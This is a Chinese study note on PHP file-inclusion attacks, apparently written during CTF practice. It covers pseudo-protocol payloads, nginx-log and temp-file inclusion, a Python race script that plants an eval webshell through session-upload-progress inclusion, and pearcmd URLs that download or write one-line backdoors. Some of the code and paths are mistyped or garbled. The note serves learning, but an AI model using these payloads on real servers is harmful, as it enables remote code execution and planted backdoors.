php文件包含
文章目录
- 基础概念
- php伪协议
- 什么是协议
- 协议的格式
- php中的协议
- file协议
- http协议
- ftp协议
- php://input协议
- php://filter协议
- php://data协议
- php文件上传机制
- 高级文件包含
- nginx文件日志包含
- 临时文件包含
- session文件包含
- pear文件包含
- 远程文件包含
基础概念
文件包含,相当于c语言中的#include,即通过头文件就可以调用文件中的代码
文件包含最基础的作用,就是读取非php类型的文件
php常见的文件包含语言结构
- include ‘path’,包含这个文件,如果文件没了也不影响,继续往下执行
- require:包含必须成功,失败则会报错
- require_once:与 require 相似,都是用于包含并执行指定的 PHP 文件,但它确保该文件在脚本中只会被包含 一次。如果该文件已经被包含过,require_once 就不会再包含它。
- include_once:类似require_once
php伪协议
伪协议即只能在php里面用,在其他地方用不了
什么是协议
协议的格式
协议头://内容
php中的协议
file协议
-
相对路径和绝对路径
-
. . / ../ ../:上层目录
- 上层目录的特点
- 每个目录都有上层目录
- 根目录的上层目录是根目录
- php的文件整理特性:www/html/…/==www/
http协议
- file_get_contens()函数,给定url地址,通过http协议可以将内容读取
- include ‘http://’同样可以包含远程地址
ftp协议
默认21端口,进行文件传输
php://input协议
在发的http请求中呈现数据最原始的形式,如果没有php标记,就会当作文本文档呈现,如果有php语法标记,则会执行代码的内容
php://filter协议
通过协议自带的编码解码绕过
file=php://filter/write=convert.base64-decode/resource=1.php
将解码后的内容写入1.php文件
同样可以用write=string.rot13绕过死亡代码
php://data协议
到这里感觉到了各协议其实都可以用于执行自己写的php代码,以data协议为例
data://,<?php phpinfo(); ?>
php文件上传机制
可以强制向网页上传文件,上传的文件存放在/tmp/php???的一个地方,临时文件在脚本执行完后就被删除,所以应该用bp抓包,并将最后一位匹配大写字母[@-[]
高级文件包含
nginx文件日志包含
nginx可以认为是http的服务器软件,提供了http服务,并默认监听80端口,如果接收到php文件,就将它转发到9000端口,9000端口由另一个服务器端软件监听,叫做php-fpm,它提供解析php代码的作用,并将执行结果返回给nginx,nginx将执行结果返回客户端,这个客户端也就是浏览器
- 日志包含,就是通过将恶意代码通过user-agent等方式传入日志中,再包含日志,就会执行其中的php代码
日志文件默认路径
\var\log\nginx\access.log
注意代码一定不要写错,否则报错了就只能重置环境
临时文件包含
注意不能用通配符
- 上传的文件放在$_FILES这个超全局变量里,包括上传的php脚本,如果能找到这个php脚本在上传文件中的名字和位置,就可以利用文件包含执行这个脚本,但是在上传脚本执行完之后攻击脚本就会自动删除,所以需要在脚本执行期间完成文件包含
- php返回数据的特点,一段一段返回,每4096个字符返回一次,所以可以在返回字符中一直读取,一旦读到tmp_name就立刻进行包含,即phpinfo lfi
session文件包含
session:根据cookie管理临时文件
- 如果将恶意代码注入session所在的临时文件,就可以实现与临时文件包含类似的效果
import requests
import threading
session=requests.session()
sess='ctfshow'
file_name='/var/www/html/1.php'
file_contents='<?php eval($_POST[1];?>)'
url='http'
data={'PHP_SESSION_UPLOAD_PROGRESS':f"<?php echo 'success';file_put_contents('{file_name}','{file_contents}')?>"
}file={'file':'ctfshow'
}cookies={'PHPSESSID':'ctfshow'
}def write():while True:r=session.post(url=url,data=data,files=file,cookies=cookies)def read():while True:r=session.post(url=url+'?file=../../../../../tmp/sess_ctfshow')if 'success' in r.text:print('shell地址为:'+url+'/1.php')exit()
pear文件包含
使用条件
- 有文件包含点
- 开启了pear扩展
- 配置中register_argc_argv设置为on,而默认为off
利用方式1:利用扩展远程下载一句话木马
url+?file=/user/loca/lib/php/pearcmd.php&x+install+-R+/var/www/html(本地地址)+url(远程下载地址)
利用方式2:生成配置文件,在配置项中含恶意代码
url+?file=/user/loca/lib/php/pearcmd.php&+-c+\tmp\a.php+-d+man_dir=<?php eval($_POST[1]);?>+-s+
远程文件包含
类似远程文件下载,必要时可用域名转数字